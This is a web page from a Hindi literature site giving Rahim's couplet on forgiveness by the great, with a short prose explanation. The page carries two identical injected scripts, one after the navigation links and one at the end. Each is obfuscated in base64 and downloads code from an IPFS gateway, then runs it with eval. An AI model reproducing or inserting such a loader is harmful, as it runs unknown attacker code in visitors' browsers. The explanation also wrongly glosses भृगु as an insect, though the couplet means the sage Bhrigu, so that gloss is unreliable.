छमा बड़न को चाहिये -रहीम

भारत डिस्कवरी प्रस्तुति
(क्षमा बड़न को चाहिये -रहीम से पुनर्निर्देशित)
यहाँ जाएँ:भ्रमण, खोजें

छमा बड़न को चाहिये, छोटन को उतपात।
कह रहीम हरि का घट्यौ, जो भृगु मारी लात।

अर्थ

बड़ों को क्षमा शोभा देती है और छोटों को उत्पात (बदमाशी)। अर्थात् अगर छोटे बदमाशी करें कोई बड़ी बात नहीं और बड़ों को इस बात पर क्षमा कर देना चाहिए। छोटे अगर उत्पात मचाएं तो उनका उत्पात भी छोटा ही होता है। जैसे यदि कोई कीड़ा (भृगु) अगर लात मारे भी तो उससे कोई हानि नहीं होती।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>